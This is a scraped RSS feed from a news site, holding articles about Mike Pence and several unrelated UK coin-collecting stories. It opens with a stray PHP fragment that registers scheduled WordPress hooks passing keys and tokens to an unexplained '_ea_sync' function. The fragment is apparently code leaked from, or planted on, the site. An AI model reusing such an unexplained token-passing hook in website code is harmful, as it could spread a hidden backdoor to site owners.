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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Pence – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 20 Sep 2022 02:39:47 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Pence – Brief News https://briefnews.eu 32 32 Liz Cheney says Mike Pence was ‘essentially the president’ on January 6 as Trump refused to send reprieve https://briefnews.eu/liz-cheney-says-mike-pence-was-essentially-the-president-on-january-6-as-trump-refused-to-send-reprieve/ https://briefnews.eu/liz-cheney-says-mike-pence-was-essentially-the-president-on-january-6-as-trump-refused-to-send-reprieve/#respond Tue, 20 Sep 2022 02:39:47 +0000 https://briefnews.eu/liz-cheney-says-mike-pence-was-essentially-the-president-on-january-6-as-trump-refused-to-send-reprieve/ Donald Trump Mike Pence
Then-US President Donald Trump arrives with then- Vice President Mike Pence for a Make America Great Again rally at Cherry Capital Airport in Traverse City, Michigan on November 2, 2020.

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  • Liz Cheney in a searing Monday speech skewered Trump and members of the Republican Party.
  • Cheney suggested that Mike Pence was "essentially" the acting president on January 6, 2021. 
  • "White House staff knew it, and so did every Republican and Democratic leader in Washington," she said.

GOP Rep. Liz Cheney delivered a searing indictment of former President Donald Trump and members of the Republican Party on Monday in one of her first speeches since her primary defeat last month. 

Cheney this week gave the Walter Berns Constitution Day lecture at AEI, a center-right economic think tank in Washington DC, warning that America's freedom is in a perilous position and urging the country to hold Trump accountable for his role in the January 6 Capitol riot. 

Cheney, as the top Republican on the House Select Committee investigating the insurrection, has long been one of the few outspoken GOP critics of Trump — a stance that ultimately cost her her congressional seat after Trump spent months propping up her Republican challenger.

But Cheney on Monday did not dwell on her political woes, opting instead to further rebuke Trump's actions, or lack thereof, on January 6, 2021. 

"I hope you all heard the testimony in our select committee hearings of Pat Cipollone, corroborated by Cassidy Hutchinson and others on President Trump's White House staff," she said. "Testimony that President Trump was the only person who refused to respond to desperate calls for help, even from his own congressional allies. He refused to come to their aid."

Several witnesses, including Mark Milley, the chairman of the Joint Chiefs of Staff, told the committee that they were puzzled by Trump's inaction as rioters stormed the US capitol on January 6. 

In her speech on Monday, Cheney suggested that Trump's second-in-command, Mike Pence, stepped into his superior's role.

"If you watched our hearings closely, you understand that Vice President Mike Pence was essentially the president for most of that day," she said. "White House staff knew it, and so did every other Republican and Democratic leader in Washington." 

After Trump assailed Pence on Twitter for refusing to reject Electoral College votes for President Joe Biden, rioters throughout the Capitol began chanting "hang Mike Pence." Hutchinson testified earlier this summer that Trump defended the insurrectionists' call for violence, saying that "Mike deserves it."

In his recent autobiography,  "So Help Me God," Pence wrote that he was not afraid, during the events of January 6, but angry.

"I was angry at what I saw, how it desecrated the seat of our democracy and dishonored the patriotism of millions of our supporters, who would never do such a thing here or anywhere else," Pence wrote.

According to "The Divider," a new book by Peter Baker of The New York Times and Susan Glasser of The New Yorker, Trump has said he would not pick Pence to be his running mate if he launches a 2024 campaign. 

"It would be totally inappropriate" to pick Pence as his running mate, Trump said, according to the book. "Mike committed political suicide," the former told Glasser and Baker.

In her speech, Cheney also urged people to rewatch testimony from the committee's summer hearings and listen to what several of Trump's former officials said about the then-president's post-2020 actions while under oath. 

"How could Trump's refusal to act, his betrayal or our Republic, of our Constitution, of our principles, come with no cost?" she said. 

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The first presidential debate between Donald Trump and Joe Biden was best summed up by CNN’s Jake Tapper, who called it “a hot mess… inside a dumpster fire… inside a train wreck.” Will the one and only vice presidential debate prove to be a more dignified affair?

All eyes will be on Democratic nominee Kamala Harris as she goes up against incumbent VP Mike Pence — from behind plexiglass, and from an acceptance social distance. Spectators will also look to see if debate moderator Susan Page, USA Today‘s Washington Bureau Chief, outperforms Fox News’ Chris Wallace; TVLine readers gave Wallace’s turn as moderator an average grade of “D-.”

The 90-minute, commercial-free debate is being held at the University of Utah in Salt Lake City. It is set to air on every major network — including ABC, CBS, Fox, NBC and PBS — and to begin at 9 pm ET.

The VP debate comes less than one week after President Donald Trump and First Lady Melania tested positive for coronavirus. While multiple administration officials — including Trump campaign manager Bill Stepien, Trump’s personal assistant Nick Luna and White House Press Secretary Kayleigh McEnany — have also caught COVID, both Pence and Second Lady Karen have tested negative.

Harris and Pence’s showdown is supposed to be followed by two more presidential debates — on Thursday, Oct. 15 and Thursday, Oct. 22 — though there’s currently some doubt about whether the Oct. 15 matchup can go on as planned following Trump’s COVID diagnosis.

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The Vice President and Second Lady are among those set to address the nation on Night 3 of the 2020 Republican National Convention.

Mike Pence will deliver closing remarks from Fort McHenry in Baltimore, according to ABC News. The historical landmark, which was the site of a battle during the War of 1812, inspired Francis Scott Key to write the “The Star-Spangled Banner.”

All told, 20 of POTUS’ most vocal crusaders are expected deliver speeches on Wednesday night, including daughter-in-law Lara Trump, the aforementioned Karen Pence, Sen. Marsha Blackburn of Tennessee, Sen. Joni Ernst of Iowa, and outgoing White House adviser Kellyanne Conway. The full list is below:

* Vice President Mike Pence
* Second Lady Karen Pence
* Sen. Marsha Blackburn of Tennessee
* Jack Brewer (former NFL player)
* Sister Dede Byrne (surgeon and military veteran)
* Madison Cawthorn (Republican congressional nominee)
* Kellyanne Conway (White House counselor)
* Rep. Dan Crenshaw of Texas
* Scott Dane (executive director of the Associated Contract Loggers and Truckers of Minnesota)
* Sen. Joni Ernst of Iowa
* Richard Grenell (former acting director of national intelligence)
* Clarence Henderson (civil rights activist)
* Former Lt. Gen. Keith Kellogg
* Keith Kellogg (national security adviser to the vice president)
* Michael McHale (President of the National Association of Police Organizations)
* Gov. Kristi Noem of South Dakota
* Burgess Owens (former NFL player and GOP congressional nominee)
* Rep. Elise Stefanik of New York
* Lara Trump (Trump campaign adviser)
* Rep. Lee Zeldin of New York

As previously reported, President Trump will appear nightly to “present his optimistic vision for the next four years,” according to the RNC. “The celebration will culminate in the historic renomination of the president and vice president in Washington, D.C.”

The 2020 Republican National Convention resumes at 8:30 pm ET. Stream it live via the video above (courtesy of C-SPAN), or scroll down to find out how each TV network intends to cover the event.

MSNBC (begins at 7 pm)
Anchors: Rachel Maddow, Joy Reid and Nicolle Wallace

CNN (begins at 8 pm)
Anchors: Wolf Blitzer, Jake Tapper, Anderson Cooper, Dana Bash and John King

PBS (begins at 8 pm)
Anchor: Judy Woodruff

ABC (begins at 10 pm)
Anchors: George Stephanopoulos, David Muir and Linsey Davis

CBS (begins at 10 pm)
Anchors: Norah O’Donnell and John Dickerson

Fox News (begins at 10 pm)
Anchors: Bret Baier and Martha MacCallum

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Anchors: Lester Holt and Savannah Guthrie

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]]> https://briefnews.eu/2020-republican-national-convention-live-stream-vice-president-mike-pence-kellyanne-conway-speak-on-night-3/feed/ 0 VP Pence said to be gearing up for all-out Cold War with China unless it bows to all US demands https://briefnews.eu/vp-pence-said-to-be-gearing-up-for-all-out-cold-war-with-china-unless-it-bows-to-all-us-demands/ https://briefnews.eu/vp-pence-said-to-be-gearing-up-for-all-out-cold-war-with-china-unless-it-bows-to-all-us-demands/#respond Wed, 14 Nov 2018 08:11:36 +0000 http://briefnews.eu/vp-pence-said-to-be-gearing-up-for-all-out-cold-war-with-china-unless-it-bows-to-all-us-demands/ Washington expects Beijing to undertake a dramatic change in all of its policies to accommodate US demands and is prepared for prolonged hostilities if it does not, Vice President Mike Pence reportedly said.

The confrontational stance of the Trump administration was described by journalist Josh Rogin in a Washington Post opinion piece. He said Pence outlined it to him during a flight aboard Air Force Two on the VP’s Asian trip.

The US wants China to offer concessions on a wide range of grievances, from intellectual property protection to territorial claims in the South China Sea.

Chinese President Xi Jinping is also expected to make a pledge to change Beijing’s economic, military, and political behavior during his meeting with US President Donald Trump on the sidelines of the G20 summit in Buenos Aires on November 30. If Washington is not satisfied, there will be “an all-out Cold War,” according to Rogin.

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“I think much of that will depend on Argentina,” Pence said. “The president’s attitude is, we want to make sure they know where we stand, what we are prepared to do, so they can come to Argentina with concrete proposals that address not just the trade deficit that we face… We’re convinced China knows where we stand.”

Pence said the US is “in a strong position” for a potential escalation of the trade war it has already unleashed on China. He added that the US had no intention of ceding influence in Asia to China and will not back down if Beijing choses to continue its current policies.

“Then so be it,” Pence said. “We are here to stay.”

Washington has been ramping up pressure on Beijing in recent years, imposing tariffs on Chinese goods and lately accusing China of interfering in US domestic politics.

Beijing seems to have no intention to concede. It responded to US tariffs with its own protectionist measures and continues its multibillion-dollar One Belt investment program, which is meant to secure additional stable trade routes to its most important suppliers and customers.

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US President Donald Trump further fueled speculation his administration was pushing for regime change in Venezuela, echoing calls from his UN envoy Nikki Haley and Vice President Mike Pence to that effect.

“Venezuela is a mess,” Trump said on Friday. “The place needs to be cleaned up, and people need to be taken care of.” The comment came during a photo-op at the White House with the President of Chile Sebastian Piñera, who is visiting Washington.

Shortly before that, Pence retweeted a photo of Haley addressing a gathering of Venezuelan dissidents in New York on Thursday through a megaphone.

“We’ll continue to hold the regime accountable until democracy is restored,” the vice-president wrote.

“We are going to fight for Venezuela and we are going to continue doing it until Maduro is gone!” Haley had shouted to the crowd, calling for an end to President Nicolas Maduro’s rule. “We need your voices to be loud, and I will tell you, the US voice is going to be loud.”

Haley also retweeted the image, first posted by the US mission to the UN.

“Socialism and corruption have taken freedom away from the people of Venezuela. Proud to join these great people protesting the Maduro dictatorship,” she said.

Trump blasted Maduro’s government in his speech to the UN General Assembly on Tuesday, accusing the “socialist regime” of inflicting “anguish” upon the people that caused over two million to flee the country.

“It’s a regime that frankly could be toppled very quickly by the military, if the military decides to do that,” he told reporters afterward.

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  • The internet is losing its mind over a video of President Donald Trump and Vice President Mike Pence seemingly mimicking each other’s movements during a meeting on Wednesday.
  • In the video, Trump takes a bottled water and appears to set it on the floor. Pence immediately follows suit.
  • One Reddit user said: “There was zero hesitation from Pence. It’s like they rehearsed it.”

Another video clip was added to the growing list of political memes after President Donald Trump set a water bottle down during a meeting at the Federal Emergency Management Agency’s headquarters on Wednesday.

The viral video shows Trump taking a bottled water from the table where he’s sitting, and apparently placing it on the floor. Vice President Mike Pence immediately does the same thing.

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  • President Donald Trump tried to block Vice President Mike Pence from hiring his pick for national security adviser.
  • Trump was reportedly furious over Pence’s decision to hire Jon Lerner, who he believes was part of the “Never Trump” movement during the 2016 election.
  • Pence managed to convince Trump about Lerner, but the incident points to Trump’s continual desire for loyalty from his associates.

President Donald Trump reportedly tried to block Vice President Mike Pence’s pick for his national security adviser.

Trump was fuming over Pence’s decision to hire Jon Lerner, the deputy to UN Ambassador Nikki Haley, because he believes Lerner was once a “Never Trumper,” three sources told Axios.

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A 10p coin depicting James Bond or 007 has sold on eBay for £90 today.

eBay seller “wblack2006” offered up the limited edition Royal Mint coin, which was quickly snapped up.

The coin, which comes in a commemorative box set in plastic, is a silver proof coin, making it rare and collectable.

There are only 15,000 of these coins in the whole of the UK, making it one many coin collectors would hope to add to their collection.

One of a collection of 26 new coins, which went into circulation on the 1 March, the celebrates the UK’s greatest fictional spy.

Each coin represents a letter of the alphabet, and this one represents the letter ‘B’.

Alongside the release they have created an app called the “Great British Coin Hunt”. Collectors can note the coins they have found on it.

The new 10p coins collection is a fun and whimsical addition to UK currency.

The coins all have interesting new designs, including James Bond, an English breakfast, fish and chips.

The letter Q stands for queuing while L stands for the Loch Ness monster, and each design of approved by the Queen herself.

The coins have been popular, and a poll answered by 2,200 Express readers revealed 70 per cent were already on the look-out for the pieces.

It is not known how many of the circulated coins there will be, and there for how rare they will be to collect.

Anne Jessopp, chief executive at the Royal Mint, said: “These designs were selected because we feel they represent a diverse mix of elements that make up the country we all love.

“There is a lot to be proud of in the UK – whether it’s at the highest level, our Houses of Parliament representing democracy and freedom of speech, technological advancements such as Tim Berners-Lee’s world wide web, or just a good cup of tea, it’s all here in the designs.

“We hope the British public is inspired to take part in the great British coin hunt by checking their change for those miniature works of art that spell out just some of the many iconic themes that are quintessentially British.”

Another rare £2 coin sold for £1,000 yesterday. 

Seller “Shancahil5” from Clacton-on-Sea in the UK posted the coin on the online auction site with little additional info, and simply referred to it as the “Rare £2 puzzle coin”.

However, the coin is actually the Act of the Union Coin. It was created in 2007 to celebrate the 300th anniversary of the creation on the UK.

Political unification of Scotland and England was made official in 1707, and one parliament was created for both countries.

You can spot this coin thanks to its unique puzzle design.

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Ebay is a fantastic place to find rare and valuable coins, and to sell one that you come across yourself.

You can make a considerable sum if you know what to look for, and how much it is worth to sell on.

A certain type of copper 2p coin proves especially popular on the buying and selling platform.

While 2p coins are not uncommon, what makes this specific coin popular is the unique wording on it.

Rather than “two pence”, the coin says “new pence” on it – as all coins produced between 1971 and 1981 did.

The coin in question is from 1971, the year the new pence coins began being producted, and this gives it a special status.

The seller, known as obkhan786, refers to the coin as a “unique piece of 2p coin”.

Although the coin has not sold yet, it has a total of 10 watchers checking up on its progress.

The rare 2p is listed for the whopping total sum of £4,958.47 on the auction site.

The Royal Mint website explains a little more about the unique nature of this coin.

“The United Kingdom 2p coin was introduced on 15 February 1971 with the creation of a new decimal currency system.

“The other two coins issued at this time were the 1/2p and 1p coins.

“To avoid confusion between the old and new coinage all three coins had the word ‘NEW’ incorporated into the reverse design.

“This was subsequently removed in 1982,” the website says of the distinctive make of coins.

Recently, a 50p coin sold for a huge £250 on the eBay selling website: a 2016 Beatrix Potter Mrs Tiggy Winkle 50p coin.

The 50p coin was minted in 2016, with a number of other coins featuring Beatrix Potter’s characters. 

The collection celebrated the 150th anniversary of the birth of Beatrix Potter.

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US Vice President Mike Pence has said all sanctions and maximum pressure will remain on North Korea despite the announcement that President Donald Trump will meet North Korean leader Kim Jong-un for talks by May.

In a statement posted on Twitter on Friday, Pence said North Korea’s willingness to meet and its denuclearization tendency “is evidence that Trump’s strategy to isolate the Kim regime is working.” He said the White House had made “zero concessions” and that all sanctions remain in place and “maximum pressure will continue.”

The statement flies in the faces of efforts to promote dialogue between the rogue nation and Washington.

It follows the announcement on Thursday that President Donald Trump accepted an invitation to meet with Kim Jong-un, after Kim agreed to halt further nuclear tests, according to South Korean officials. Kim told Seoul that he is committed to denuclearization, according to a statement made at the White House by Chung Eui-yong, South Korea’s national security office chief.

According to Trump, a key objective of the meeting will be the achievement of permanent denuclearization of North Korea. The time and location of the meeting is yet to be determined.

The decision to meet comes after Trump announced the ‘largest-ever’ package of sanctions on North Korea in February. New sanctions were applied against 50 vessels, shipping companies and trade businesses in a bid to intensify pressure on North Korea over its nuclear and ballistic missile tests

North Korea’s decision to meet represents a significant shift in Pyongyang’s stance. At the 2018 Winter Olympics in South Korea in February North Korean officials allegedly refused to meet with US Vice President Mike Pence amid US threats of sanctions.

The Swiss foreign ministry said on Friday that Switzerland could facilitate the talks as a neutral party.

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